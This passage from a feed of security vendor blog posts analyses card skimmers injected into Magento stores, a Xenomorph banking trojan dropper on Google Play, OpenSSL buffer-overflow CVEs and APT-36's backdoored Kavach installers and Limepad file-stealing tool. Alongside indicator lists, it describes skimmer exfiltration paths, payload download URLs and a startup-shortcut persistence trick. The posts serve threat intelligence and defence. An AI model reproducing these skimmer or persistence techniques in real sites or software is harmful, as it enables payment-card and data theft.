e-commerce stores. Figure 2 shows the relevant skimmer code searching for Moneris payment info Figure 2: Group 1 skimmer code Variant 2 This second variant of the CC skimmer code was obfuscated and hosted at the URL: artmodecssdev[.]art/js/av/analytics-google-c82qllg46bw1g23ed2775c5fr9fa.js Most of the functionality is similar to the first variant with some enhancements included. Key functionalities 1. Searches for the string: "/checkout/" in the URL to ensure the user is at the checkout page 2. Searches for the string: "f04bf6162ed8779acc1205ac37f8fc4a" in the cookie. If it is not found, then it indicates the user is a new victim. 3. Once both the above conditions are satisfied, the skimmer is activated. 4. Navigates the HTML DOM to locate the shipping and item related information about the order. 5. Uses the HTML DOM to locate the payment card information related to Moneris 6. Exfiltrates the information using the pixtar() function which creates an image tag and sets the source to the exfiltration URL: artmodecssdev[.]art/secure/av/secure.php. After exfiltration, it sets the cookie "f04bf6162ed8779acc1205ac37f8fc4a" to the uuid. This uuid is generated by the script client-side. Figure 3 shows the data exfiltration function. Figure 3: Group 1 skimmer code exfiltrating stolen information Group 2 In May 2022, a new domain - payment-analytics[.]info was registered and used in a skimming attack against several Magento and PrestaShop-based e-commerce stores. Interestingly, this domain was hosted on the IP address: 45.61.136[.]218 which is in the same subnet as 45.61.136.204 (an IP address previously used by Lazarus APT group). We do not have sufficient information at this point to do any attribution for this campaign. Figure 4 shows the JavaScript skimming code for Magento e-commerce store. Figure 4: Group 2 CC skimmer The skimming code itself is straightforward. It captures the credit card information by searching for HTML fields corresponding to the payment processor used by the targeted store (in this case - Authorize.Net). The collected information is exfiltrated by sending an HTTP POST request to payment-analytics[.]info/validate/<random_id> Key functionalities 1. Adds an event listener for the click event on "place order" button by locating the HTML button element with id and class: "#co-payment-form button.action.checkout.primary". Figure 5 shows the corresponding elements on the checkout page. Figure 5: Relevant elements tracked by the skimmer on the checkout page 2. Fetches the payment card information using document.querySelector() depending on the payment processor used by the targeted store 3. Sends a GET request to the REST API endpoint: "/rest/default/V1/guest-carts/" to retrieve value of "billing_address" member which corresponds to shipping information entered by the victim 4. Extracts key info from billing_address, appends it to the payment card information and sends it to the attacker's server using an HTTP POST request. Group 3 In July 2022, we observed a threat actor actively compromising Magento-based e-commerce stores and injecting script tags pointing to the skimmer code hosted on attacker-registered domains. Each skimmer code snippet was customized with the name of the targeted store and the type of payment processor used. There is very limited information available about it in the public domain here. Based on Zscaler cloud telemetry, we were able to identify several previously undocumented domains used in this skimming campaign and the associated infrastructure. Figure 6 shows that most of the domains used in this campaign are still undetected on VirusTotal which explains the long shelf life of this campaign. Figure 6: Group 3 related skimmer domains undetected on VirusTotal In this campaign, we observed two variants. The first variant was straightforward and not obfuscated. At a later stage of the campaign in October 2022, we observed an obfuscated version of the skimmer hosted on a domain controlled by the same threat actor. Key functionalities We will briefly describe each of these skimmers' functionalities. Variant 1 Unlike the other skimmers discussed in this blog so far, this specific variant did not check whether the user is on the payment checkout page. It used the HTML DOM to locate the HTML fields corresponding to payment card information. The specific values it searches to locate the information would depend on the type of payment processor used by the targeted store. This information was concatenated along with the user's details, base64-encoded and exfiltrated to the attacker's server. The exfiltration URI path remained consistent across all the skimmers in this campaign. URI path: "redirect-non-site.php?datasend=" Figure 7 shows the skimmer code. Figure 7: Group 3 skimmer code Variant 2 The only difference between this variant and variant 1 is obfuscation. We saw new activity from this threat actor in October 2022 when they started using an obfuscated version of the skimmer. Group 4 In November 2022, we observed a threat actor injecting highly obfuscated variants of JavaScript skimmer in existing legitimate jQuery libraries on various Magento-based e-commerce stores. We noticed 2 unique domains used for exfiltration of the payment card information. Both of these domains still have 0 detections on VirusTotal and the e-commerce stores are still infected at the time of publishing this blog as well. Figure 8: Group 4 related skimmer domains undetected on VirusTotal As is evident from the domain names, they impersonate as content delivery networks (CDNs) in order to blend in with legitimate traffic and this makes them even more difficult to detect at network layer. For the purpose of technical analysis, we will take an example of an obfuscated JS skimmer which was injected in the path: /skin/frontend/alobencher/default/js/lib/elevatezoom/jquery.elevateZoom-3.0.8.min.js on a compromised store as shown in Figure 9. Figure 9: Skimmer code injected in a legitimate jQuery library on the e-commerce store When the user navigates to the checkout page on the compromised e-commerce store to purchase the goods, the malicious JavaScript skimmer function - _0x54d008() is invoked as soon as the user enters and submits the payment card information. Figure 10 illustrates this. Figure 10: Event listener in injected skimmer code corresponding to payment submission form Key functionalities of the skimmer are described below. 1. The skimmer locates the payment button using the pattern "*[onclick*=\"payment.save()\"]" and adds an event listener for the click event. 2. The exfiltration function is invoked as soon as the above button is clicked. 3. Unlike the skimmers discussed earlier, in this case, it extracts all the input fields using: jQuery("body input, body select, body option"). This way the skimmer can access all the input, select and option fields on the web page. 4. All this collected information is base64-encoded and stored in the variable - payment[string] to send to the exfiltration URL using an HTTP POST request. 5. The exfiltration URL in this case is: cdn-common[.]com/default/loading.gif Figure 11 shows the state of key variables in the _0x54d008() function at the time of exfiltration. Figure 11: CC skimmer in action Zscaler detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: JS.POS.Magecart Conclusion Users are advised to exercise caution while shopping online during this holiday season as threat actors are actively targeting e-commerce stores for financial data theft. We advise the users to pay close attention to any unauthorised payments made using their payment card and get in touch immediately with their respective payment card or banking authorities in case they notice unrecognized transactions. If you are an e-commerce store owner, we advise you to ensure that you are running the latest version of e-commerce software (Magento, Presta Shop, etc.). Also, to confirm whether your store has already been infected or not, e-commerce store owners are advised to scan their server for any unrecognised new files or modifications to existing files. The Zscaler ThreatLabz team will continue to monitor such skimming attacks proactively, to help keep our customers safe. Indicators of Compromise Group 1 Domains modersecure[.]com artmodecssdev[.]art Injected JS URLs modersecure[.]com/sources.200x/google-analytics.js modersecure[.]com/sources.155x/analytics.js artmodecssdev[.]art/js/av/analytics-google-c82qllg46bw1g23ed2775c5fr9fa.js Exfil URLs modersecure[.]com/sources.200x/analytic.php artmodecssdev[.]art/secure/av/secure.php Group 2 Domains payment-analytics[.]info Injected JS URL payment-analytics[.]info/assets/domains/62ae9da17edb100b96c9df7b/analytics.js Exfil URL payment-analytics[.]info/validate/62b3bb447edb100b96c9e6c5 Group 3 mozillajs[.]biz devjs[.]biz html5decode[.]com magento-cloud[.]net mozillajs[.]net java-cloud[.]net magento-cloud[.]com java-cloud[.]org magento-cloud[.]org html5decode[.]biz java-cloud[.]biz magento-cloud[.]biz stirepoint.com html5decode[.]net mozillajs[.]org html5decode[.]org Group 4 Domains cdn-webcloud[.]com cdn-common[.]com cdn-webhub[.]com cdn-fonts[.]com cdn-mediacloud[.]com Exfil URLs cdn-webcloud[.]com/default/loading.gif cdn-common[.]com/default/loading.gif Mon, 21 Nov 2022 15:58:50 -0800 Sudeep Singh https://www.zscaler.com/blogs/security-research/black-friday-scams-4-emerging-skimming-attacks-watch-holiday-season https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0 The Zscaler ThreatLabz team has recently discovered the Xenomorph banking trojan embedded in a Lifestyle app in the Google Play store. The app is “Todo: Day manager,” and has over 1,000 downloads. This is the latest in a disturbing string of hidden malware in the Google Play store: in the last 3 months, ThreatLabz has reported over 50+ apps resulting in 500k+ downloads, embedding such malware families as Joker, Harly, Coper, and Adfraud. Fig no 1.Malware Installer From Play Store Xenomorph is a trojan that steals credentials from banking applications on users’ devices. It is also capable of intercepting users’ SMS messages and notifications, enabling it to steal one-time passwords and multifactor authentication requests. Our analysis found that the Xenomorph banking malware is dropped from GitHub as a fake Google Service application upon installation of the app. It starts with asking users to enable access permission. Once provided, it adds itself as a device admin and prevents users from disabling Device Admin, making it uninstallable from the phone. Xenomorph creates an overlay onto legit banking applications to trick users into entering their credentials. A similar infection cycle was observed three months ago with the Coper banking trojan. This trojan was similarly embedded in apps on the Google Play store, and sourced its malware payload from the Github repo. Technical Details Below is the Xenomorph infection cycle once a user downloads an app and opens it. Fig no 2.Flow of infection When the app is first opened, it reaches out to a Firebase server to get the stage/banking malware payload URL. It then downloads the malicious Xenomorph banking trojan samples from Github. This banking malware later reaches out to the command-and-control (C2) servers decoded either via Telegram page content or from a static code routine to request further commands, extending the infection. The parent malware downloader (Google Play Store) application gets its config from Firebase for its database. Fig no 3. Malware enables downloader. Fig no 4. Downloader not enabled. As shown in the above screen shot, the malware will only download further banking payloads if the “Enabled” parameter is set to true. The following screenshot shows how the Firebase database malware uses Github links to download Xenomorph payloads: Fig no 5. The malware writes dropper URLs in local DB of firebase The screenshots in Figures 6 and 7 below show the C2 retrieval from a Telegram page. Here the banking payload has the Telegram page link encoded with RC4 encryption. Upon execution, the banking payload will reach out to the Telegram page and download the content hosted on that page. Fig no 6.Uses Telegram link response to create C2 in addition to static encrypted C2 present in app Fig no 7. Telegram channel preview where string in between hearts emoji is used to create C2 As per the following screenshot, the payload will decrypt the C2 server address from the downloaded content: Fig no 8. Decode C2 from Telegram ThreatLabz also observed RC4 encoded C2 domains stored inside the code. The following screenshot shows the C2 request in which the payload sends all the installed applications to C2 in order to receive further instructions. In one case, it will present the fake login page of a targeted banking application if the legitimate application is installed in the infected device. Fig no 9. Malware uploading all package information to receive commands ThreatLabz also observed another application, named “経費キーパー” (Expense Keeper), exhibiting similar behavior. On execution of this application, it is observed that the “Enabled parameter” is set to false, same as the execution previously shown in Figure 4. Due to that, it was not possible to retrieve the Dropper URL for the banking payload. ThreatLabz is working with the Google Security team for the same. Fig no 10. Suspicious Installer exhibiting the same behavior IoCs com.todo.daymanager d81f9c03c412b11df357f0878c9c5cad9319c7eea11b5c46d0c624995bc09563 com.setprice.expenses 58d634230951ee7699a4b4740e12be8e93a28bd183f61447832bd1d5d98160d8 Xenomorph banking trojan Package Name MD5 njuknf.cpvmqe.degjia b8b8706807a97c40940109a93058c3d0 ylyove.pkmcsy.upvpta 98ea3fe61fde0c053dfac61977a11488 ylykau.jhfxjd.hlhhwl df57895cfc79ee8812aac5756ab4bcc8 lkvrny.bbslie.mrgsdy 73511ef7bb9d59b3d91dbeef5f93eec0 gkapsv.nlitfn.fzteaf f0b001dbe36f45cedcb15e3f9fc02fd7 binono.bgcwvl.iupqtk 8437e226e55ba6dea9a168bee5787b0d cfbyzn.zhxxjj.sziece 8f66412e945ca9a75797d5f5eba9765c gfgnfe.rcsjkm.abwxdj 6a117cafa32a680dc94f455745291f0f usyjui.monkab.acacpn cb9500f910bd655df444f7d43d0298f9 gnvbgm.ipblyp.bpnyrg d95c03247a58d3fabb476a7f3241f3a1 xsgrsn.nicojr.uaqxws cd63afae858fdf75f34aae05e36b8a34 xhlkae.ligagt.dmihjy c5d510251a34f52427d133a6f9248cbf qlvsvm.oqsncp.otgbxc 781bbaee614697beecfcbe9a2f9dd820 rxreyj.obxmlg.rjluib 49c4801abb6c92d17c8021c2f656c644 brpdxm.orolnd.jsxhrp 1829589d95bdd2c30f0bef154decd426 wwzaqw.eejyqr.czrldy e834676cdbd63ce4eb613499605dc365 ogbfbt.rhrnua.kccuoh 9e498ba660bdcb279149e6a5986c2793 lnckvn.vlmjxx.uwcpub 4b2e849543b0ecaec1885170a5ef5243 vjqfyn.ygmzrs.trlvch 7e4f1deb5b21d47a7c41ef1a5f43a2f2 blglyu.rjqwgg.vveize 7f574986dc8a03e6a4cba60d1ac4f7d1 C2s hxxps[://]github[.]com/blsmcamp/updt gogoanalytics[.]click gogoanalytics[.]digital Conclusion At Zscaler we proactively detect and monitor such applications to secure our clients. Such bank phishing installers most of the time rely on tricking users to install malicious applications. Users are advised to keep an eye on what application is being installed. A Play Store application is not supposed to side load or ask users to install from unknown sources. We believe hostile phishing downloaders will further increase in prevalence in the future. User vigilance is of the utmost importance to defeat these phishing campaigns. Thu, 10 Nov 2022 08:00:01 -0800 Himanshu Sharma https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0 https://www.zscaler.com/blogs/security-research/security-advisory-openssl-vulnerabilities-cve-2022-3602-cve-2022-3786 Background On 01-Nov-2022, OpenSSL published an advisory about two high-severity security flaws - CVE-2022-3786 (“X.509 Email Address Variable Length Buffer Overflow”) and CVE-2022-3602 (“X.509 Email Address 4-byte Buffer Overflow”). These vulnerabilities affect OpenSSL version 3.0.0 and later and have been addressed in OpenSSL 3.0.7. What is the issue? The following vulnerability details were published in the OpenSSL security advisory earlier today: CVE-2022-3786 A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. This occurs after certificate chain signature verification and requires either a CA to have signed a malicious certificate or for an application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address in a certificate to overflow an arbitrary number of bytes containing the `.' character (decimal 46) on the stack. This buffer overflow could result in a crash (causing a denial of service). In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. CVE-2022-3602 A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. This occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution. Many platforms implement stack overflow protections which would mitigate against the risk of remote code execution. The risk may be further mitigated based on stack layout for any given platform/compiler. Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible. In a TLS client, this can be triggered by connecting to a malicious server. In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects. What versions are impacted? OpenSSL versions 3.0.0 to 3.0.6 are impacted by these vulnerabilities. Any OpenSSL 3.0 application that verifies X.509 certificates received from untrusted sources should be considered vulnerable. This includes TLS clients, and TLS servers that are configured to use TLS client authentication. OpenSSL 1.0.2, 1.1.1 and other earlier versions are not affected. What can you do to protect yourself? Users of OpenSSL 3.0.0 - 3.0.6 are encouraged to upgrade to 3.0.7 as soon as possible. If you obtain your copy of OpenSSL from your Operating System vendor or other third-party then you should request an updated version from them as soon as possible. Users operating TLS servers may want to consider disabling TLS client authentication until fixes are applied. We had also published a blog with steps you can perform to protect your organization. Zscaler Cloud is not impacted We have completed our review and published a trust post to notify our customers that Zscaler cloud components are not impacted by this vulnerability. One of the key benefits of adopting a cloud-native SSE platform, in contrast with legacy NGFW appliances or virtual machines, is that Zscaler takes away from the end customers the operational overhead of patching software across a sprawl of legacy hardware appliances and virtual machines. A nice illustration of this benefit was also seen earlier this year when it took us just a few days to patch against the March 2022 CVE-2022-0778 OpenSSL Vulnerability. How Zscaler protects users from this vulnerability As of now, there are no known in-the-wild exploit attempts reported for these vulnerabilities, but security researchers have published a successful exploitation POC. ThreatLabz is actively monitoring and will ensure coverage against threat activity targeting end-users protected by Zscaler. Even though this issue can potentially impact both TLS clients and TLS servers, the likelihood of a client exploiting a server using a malicious client TLS certificate is much lower, given that mTLS (mutual TLS in which a server authenticates a client as well) is not widely used. Zscaler’s proxy based architecture and SSL inspection service are well positioned to defend against exploitation attempts targeting end users through maliciously crafted server certificates. As a trusted man-in-the-middle (MITM), Zscaler scans and validates all server certificates, centrally in the cloud as if Zscaler is the client browser for the destination TLS server, and issues a new server certificate signed by Zscaler’s or a customer’s issuing CA, essentially preventing the bad cert from ever getting to the end-user. As long as customers have enabled SSL/TLS inspection, Zscaler will defend against the threat as illustrated below: 1. Attacker hosts a malicious site serving the specially crafted X.509 certificate triggering the OpenSSL vulnerability. 2. End-user is tricked to access the malicious site via Zscaler with TLS inspection enabled. 3. If the server name has a bad reputation, Zscaler will immediately drop the connection. 4. Otherwise, Zscaler will terminate the TLS handshake request from the client and initiate its own handshake with the destination server. 5. Zscaler validates the certificate sent by the server after the ServerHello. Since Zscaler is not vulnerable to the OpenSSL vulnerability issue, Zscaler’s infrastructure itself is safe. 6. Zscaler generates a domain certificate and sends it to the end-user. Since Zscaler issues only properly crafted X509 certificates, the exploit attempt is effectively neutralized. The malicious certificate will never make its way to the end-user. Figure 1: Zscaler TLS inspection preventing OpenSSL vulnerability exploit attempt Check out our recent blog post to learn more about how SSL inspection works and the key responsibilities assumed as an SSL proxy. How Zscaler helps organizations secure workloads impacted by this vulnerability For workloads, Zscaler Posture Control allows organizations to scan all of your AWS, Azure, and GCP environments to help identify and prioritize the assets that require attention. Out of our customers, 12% found immediate results and discovered that they have workloads vulnerable to these issues. Most of the vulnerable workloads were found specifically in public-facing assets. References https://www.openssl.org/blog/blog/2022/11/01/email-address-overflows/ https://www.openssl.org/news/secadv/20221101.txt https://trust.zscaler.com/zscaler.net/posts/12411 https://www.zscaler.com/blogs/product-insights/winter-coming-and-so-openssl-vulnerability Tue, 01 Nov 2022 13:08:10 -0700 Jithin Nair https://www.zscaler.com/blogs/security-research/security-advisory-openssl-vulnerabilities-cve-2022-3602-cve-2022-3786 https://www.zscaler.com/blogs/security-research/apt-36-uses-new-ttps-and-new-tools-target-indian-governmental-organizations Summary APT-36 (also known as Transparent Tribe) is an advanced persistent threat group attributed to Pakistan that primarily targets users working at Indian government organizations. Zscaler ThreatLabz has been closely monitoring the activities of this group throughout 2022. Our tracking efforts have yielded new intelligence about this APT group that has not previously been documented. In this blog, we will describe how this group abuses Google advertisements for the purpose of malvertising to distribute backdoored versions of Kavach multi-authentication (MFA) applications. We will shed light on the complete details of the attack chain that have not been previously shared in the public domain. This threat group has also conducted very low-volume credential harvesting attacks masquerading as official Indian government websites, and luring unsuspecting users to enter their credentials. We will also describe the functionalities of a completely new data exfiltration tool that we have discovered being used by the APT-36 group. We've dubbed this tool "Limepad." Key points APT-36 group is a Pakistan-based advanced persistent threat group which has specifically targeted employees of Indian government related organizations. This group has remained active throughout 2022 using various techniques such as malvertising, and credential phishing attacks. APT-36 has evolved their tactics, techniques and procedures (TTPs) incorporating new distribution methods and new tools. The threat actor registered multiple new domains hosting web pages masquerading as the official Kavach app download portal. They abused the Google Ads paid search feature to push the malicious domains to the top of Google search results for users in India. Beginning August 2022, the group started using a new data exfiltration tool which we have named Limepad. This tool was previously undocumented. While most binaries used by APT-36 in this campaign will execute only if the user’s machine is configured with India time zone (IST), we also found 2 binaries using the same code base which included a time zone check for both - India and Sri Lanka. Since both India and Sri Lanka have the same time zone, we consider this check redundant. Credential harvesting attacks were used to spoof the National Informatics Center’s Kavach login page with the goal of stealing credentials of government employees. Several instances involved malicious binaries compiled using PyInstaller and sent packaged inside VHDX archives. Attack flow Figure 1 illustrates the end-to-end attack-chain of the distribution of backdoored Kavach multi-factor authentication (MFA) applications. Each part of this attack-chain is explained in more details in the later sections of the blog. Figure 1: Malvertising campaign used to distribute backdoored Kavach MFA apps Distribution mechanism Malvertising The malvertising aspect of APT-36 group has not been previously documented, so in this blog we will shed some light on how the threat actor lures Indian government users to download backdoored Kavach multi-factor authentication (MFA) applications. The threat actor routinely registered new domains and hosted web pages impersonating as the official Kavach application download portal. It then abused Google Ads’ paid search feature, to push malicious attacker-registered fake websites to the top of the search results returned by Google for Kavach-related keywords such as “Kavach download” and “Kavach app,” when searched from India. Several of these fake Kavach websites were promoted this way throughout 2022. On average, the attacker promoted each website for a period of one month before cycling to the next one. Figure 2 shows a calendar highlighting different times at which the threat actor was abusing Google ads to promote corresponding malicious sites Figure 2: Calendar showing when the Google ads were run by APT-36 The complete list of malicious websites impersonating the Kavach portal are listed in the IOCs section. Figure 3 and 4 show two examples of how the malicious search result ads looked like at the time they were live. Figure 3: Google advertisement to promote kavach-app[.]com Figure 4: Google advertisement to promote kavach-app[.]in Figure 5 shows a web page impersonating the Kavach application download portal. The threat actor leveraged Wordpress to host these webpages and the theme remained consistent across all the malicious pages. Figure 5: Attacker-registered site masquerading as Kavach app download portal Third party application stores In addition to this, we also discovered that this threat group controls certain third party application stores which offer downloads for various applications. One such example is the acmarketsapp[.]com store. While at first this site seems benign and appears to offer downloads for generic applications only, we noticed that the threat actor added a few posts to download Indian government related applications such as Kavach and Hamraaz. Upon closer inspection and monitoring this website over a period of time, we uncovered the following new TTPs. Updating download links This app store is used as a gateway to redirect the users to attacker-registered domains hosting the backdoored versions of Kavach application. Each time the threat actor registered a new malicious website, they would update the download link on the app store to point to the latest attacker-registered site. To understand this better, we took snapshot of this website at different points of time in 2022. By leveraging the web archive feature, it can be seen in Figure 6 that in May 2022, the download link for Kavach on this app store pointed to kavach-app[.]com (which is a confirmed attacker-registered domain used in the campaign). Figure 6: Snapshot of malicious link on acmarketsapp[.]com in May 2022 A few months later in October 2022, the threat actor updated the link to point to another malicious site (kavachauthentication.blogspot[.]com) as shown in Figure 7. Figure 7: Snapshot of malicious link on acmarketsapp[.]com in October 2022 Malvertising The app store - acmarketsapp[.]com itself is pushed to the top in Google search results for certain search keywords from India by abusing the Google Ads paid search feature as described earlier. By combining these techniques, it allows APT-36 to operate these third party app stores as a gateway to redirect unsuspecting users to their malicious sites hosting the latest backdoored variants of Indian government applications. Technical analysis A new data exfiltration tool - LimePad We recently identified a new and previously undocumented data exfiltration tool used by this APT group. It is distributed as a Python-based application packaged inside a VHDX file. Based on the unique strings present in the first iteration of this stealer, we have named it LimePad. In this blog, we are sharing some of the key functionalities of this new tool. A more in-depth technical analysis write up of this tool will be published by us as a follow-up blog since we are still investigating their activities. Similar to some of the other malicious binaries used by the SideCopy APT group in the past, this new tool is a PyInstaller-based payload as well. We found 2 unique examples of the new tool in-the-wild, both of which were distributed inside very large VHDX files with size greater than 60 MB, each. The main purpose of this new tool is to constantly upload any new file of interest from the victim's machine to the attacker's server. It synchronizes this file stealing operation between the victim's machine and the attacker's server by maintaining a local custom SQLite database. This database holds the latest records of all the files which are uploaded, in queue or newly modified. It is done to ensure that any new files or modifications to existing local files are synced up with the remote server. Time zone check Before starting any malicious activity, it checks whether the keyword "india" is present in the timezone config of the machine. Due to this, the payload will execute only on machines configured in India time zone. Once it confirms that the user is located in India, it will download a decoy PDF from the attacker’s server which is displayed to the victim as a social engineering lure. We analyzed the objects in the decoy PDF file to recover the metadata corresponding to generation of the PDF and we uncovered a key indicator which further helped us correlate this activity to APT-36 with a high-confidence. Figure 8 shows the metadata which indicates that this PDF was created with the author name: “Apolo Jones” and Microsoft Word 2016 was used to generate the PDF. Figure 8: metadata of the decoy PDF file This is the same string present in the PDB path of multiple backdoored variants of Kavach application used by APT-36 in 2022. One such example is the backdoored Kavach binary with MD5 hash: 6b552512c1b6479d8a8ae526663af864 PDB path: C:\Users\Apolo Jones\source\repos\Kavach\obj\Release\Kavach.pdb Key functionalities and configuration of Limepad This data exfiltration tool is modular and contains many custom Python libraries developed by the attacker to assist the main functionality of LimePad. There is also a config file called "control" which is used by LimePad for its settings. The complete config file is available in the Appendix. Below we give a brief overview of the config fields which can help understand the features and functionalities of this stealer at a high-level. VERSION field is configured as "0.1-18". This indicates that the tool is in very early stages of development by the threat actor. USERFILE defines the name of the local SQLite database which is used to keep track of the file sync operations. In the first version of this tool, it was configured as "Limepad.db" due to which we have named this tool as "Limepad" The fields, STARTDATA, LOCKDOORS, and DOORS are used to create a Windows URL Shortcut file which is used for the purpose of persistence. This URL shortcut file is placed in the Windows Startup directory with the name: "Limepad.dll" and it points to the local file path of the malicious payload as shown below. [InternetShortcut] URL=file:///<path_to_malicious_binary> A similar persistence mechanism was used by another tool in SideCopy APT's arsenal in 2021. SERVERS field is used to configure an array of attacker-controlled C2 servers. In both the identified samples, only one C2 server was configured each time. However, the code has support for multiple C2 servers and will cycle through them until it finds a working C2 server. DUSSEN field contains a hex-encoded version of the string - "india". This is what is used for the India time zone check in the main subroutine of Limepad before starting any malicious activity. The fields - DBTABLES, DBTABLES_INDEXES and SYNC_RULES_CONFIG all correspond to the structure and configuration of the tables in the local SQLite database. Figure 9 shows the structure of the local SQLite database used for synchronizing files between infected machine and server. Figure 9: Structure of the local SQLite database Figure 10 shows an example of contents of the SQLite database on an infected VM. Figure 10: Contents of a database from an infected VM It is important to note that "SYNC_RULES_CONFIG" contains a set of rules which defines which files the attacker is interested in stealing. It has a different set of file extensions configured for HOME, FIXED and REMOVABLE drives. Based on the configured file extensions, it is evident that the threat actor is interested in stealing documents (PDF, text and MS Office files), email local databases (DBX format) and various drawing file extensions such as DWG and DXF. These drawing file extensions correspond to "AutoCAD" or computer-aided design vector files. Network communication Below are the main steps in network communication of LimePad. It is important to note that in all cases, the user-agent used in network communication corresponds to the Python application. In this case - "Python-urllib/2.7". This might change in future since the attacker can configure a custom user-agent to blend in with legit browser communication. Also, in each request to the server, an HTTP request header field called "Auth_Token" will be present. This is used to authenticate with the C2 server. This value is the same as the password which is also sent in the HTTP request. This 32 characters password is generated by base64-encoding the random value generated by os.random() using the following code. password = base64.urlsafe_b64encode(os.urandom(30))[:32] Figure 11 below shows the sequence of network requests sent by the data exfiltration tool. Figure 11: network traffic from the data exfiltration tool Below is a brief description of the different stages of network requests. Server check Sends a GET request to the file bind.php on the server. Once the server responds with "pong!", it indicates the configured server is working well. Registration of infected machine with the server Sends a POST request to the file "information.php" on the server with the credentials used to register the infected machine. The username and password are sent as both - HTTP POST request body and HTTP request headers. "Username" and "Auth_Token" fields in request headers correspond to the username and password respectively. POST body format is: USERNAME=<username>&PASSWORD=<password> This is followed by a GET request to "information.php" to confirm user registration. Uploading files to the server Each file upload request is in the form of HTTP POST request to the file "adjustfile.php" on the server. The local file path is included in the URL. The contents of the file are uploaded in plaintext. Miscellaneous threat intel As we indicated earlier, we are still investigating this case. We obtained the list of all the infected machines registered with the attacker’s server. Figure 12 below shows a preview of the latest information. By looking at the usernames of the infected machines, it further confirmed to us that only the users in India were infected. Figure 12: List of infected machines registered with the attacker’s server Kavach payload analysis As mentioned above in the distribution mechanism section, this threat actor uses various malvertising methods to lure unsuspecting Indian government employees to download a backdoored version of the Kavach multi-factor authentication (MFA) application. For the purpose of technical analysis we will consider the fake installer with the MD5 hash: faeb19cd668de953afd6f2c953251665 Stage-1: Fake Installer The fake installer is a .NET binary which masquerades as a legit Kavach application installer and uses fake metadata information. Moreover, the binary uses an icon related to the National Informatics Center(NIC) which is an Indian government department under the Ministry of Electronics and Information Technology. On execution, the binary performs following operations: 1. Performs the time zone check and executes further only if the time zone matches Indian Standard Time (IST). 2. Extracts and drops the legit Kavach installer in the path "C:\ProgramData\Kavach-Auth\". The installer is extracted from the resource section of the binary. 3. Downloads and drops the Stage-2 payload from the URL "http://139.59.79[.]86/hardwell.mp3" in the path "C:\ProgramData\Kavach-Auth\hardwell.mp3" 4. Executes the dropped legit Kavach installer 5. Moves the dropped Stage-2 payload to the path "C:\ProgramData\Kavach-Auth\archiveviewer.scr" 6. Executes the dropped Stage-2 payload Stage-2: PyInstaller compiled binary The Stage-2 payload is a Python script compiled to an executable using PyInstaller. For analysis we extracted the Python script which we have included in the Appendix section. The script on execution does following major operations: 1. Creates the directory "c:\programdata\WUDFHost" 2. Creates a log file in the path "c:\programdata\WUDFHost\logs.txt" which is updated according to the operations performed during further execution. 3. Performs the time zone check. 4. Downloads, drops and executes the next stage payload. For the next stage payload, if the path "C:\Windows\Microsoft.NET\Framework\v4.0.30319" exists, then the payload is downloaded from the URL "http://139.59.79[.]86/WUDFHost45.zip" in the path "c:\programdata\WUDFHost45.zip" else it is downloaded from the URL "http://139.59.79[.]86/WUDFHost35.zip" in the path "c:\programdata\WUDFHost35.zip" The downloaded payload which is a ZIP file is extracted to path “c:\programdata\WUDFHost”. For the payload analyzed, the archive contained three components: 1. Executable (WUDFAgent.exe) - The loader binary 2. DLL (oraclenotepad45.dll) - Main backdoor 3. DLL (dotsqueeze.dll) - Helper DLL Stage-3: Loader The Stage-2 Python script executes the loader binary. The loader pretends to be a POS application which on execution does following operations: 1. Creates a log file in the path "c:\\programdata\\WUDFHost\\process.txt" 2. Loads the assembly from the path "c:\\programdata\\WUDFHost\\oraclenotepad45.dll" 3. Creates a fake file in the path "c:\\\\programdata\\\\Expense_Account_Hierarchy.csv" and writes fake information to it. The information written is extracted from the resource section. 4. Pass the execution control to the loaded assembly Stage-4: Backdoor The assembly loaded by the loader is the main backdoor of the infection chain. Similar to Python script. We will not cover the full technical analysis for the backdoor payload since it's already covered in some public blog posts but in brief, it contains following functionalities: 1. Taking snapshots 2. Downloading new payloads and executing them 3. Creating persistence 4. Exfiltrating user and system information 5. Exfiltrating file and directory information The backdoor also uses a helper DLL where the malware author has delegated functionalities like file download from network, writing file to disk, creating new processes. Credential harvesting attack One of the key targets of APT-36 is the Indian government and it targets the government users with various Kavach related themes including credential harvesting attacks. These credentials can further be re-used by the threat actor to gain access to government related infrastructure. A domain with the name nic-updates[.]in was registered on 25th August 2022 and it impersonated the official login page of NIC (National Informatics Center). This domain redirected to the malicious login page only when accessed from an Indian IP address, else it redirected to the legitimate official domain of NIC - nic.in Figure 13 shows the credential phishing page. Figure 13: Credential phishing page impersonating as Kavach NIC It is important to note that the phishing URL was well-crafted as it mimicked the full URL path of the legit Kavach NIC login page. Fake login page URL: hxxps://kavach.mail.nic-updates[.]in/mfid/secureLogin_showSecureLogin.action#! Legit login page URL: hxxps://kavach.mail.gov[.]in/mfid/secureLogin_showSecureLogin.action#! The phishing page sent the stolen credentials using an HTTP POST request to a file - error.php hosted on the attacker’s server. The attacker’s server was using Zimbra and it even had an open directory hosted at the URL: hxxps://kavach.mail.nic-updates[.]in/mfid/secureLogin_showSecureLogin.action/web/ Figure 14 shows the contents of the open directory. Figure 14: Open directory on the server hosting the Kavach phishing page The image file - kavach.jpg in the above open directory stood out based on the file creation date. We pivoted on this image file’s hash, and observed that the same image was also referenced from kavach-app[.]com (a domain which we previously attributed to APT-36 group). We also identified another phishing site (kavachmail-govin.rf[.]gd) used by this group using the same theme and code base. Zscaler detection status Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here: Win32.Payload.Limepad Win64.Payload.Limepad Win32.Downloader.CrimsonRat Win32.Backdoor.SideCopy HTML.Phish.TransparentTribe Conclusion APT-36 continues to be one of the most prevalent advanced persistent threat groups focused on targeting users working in 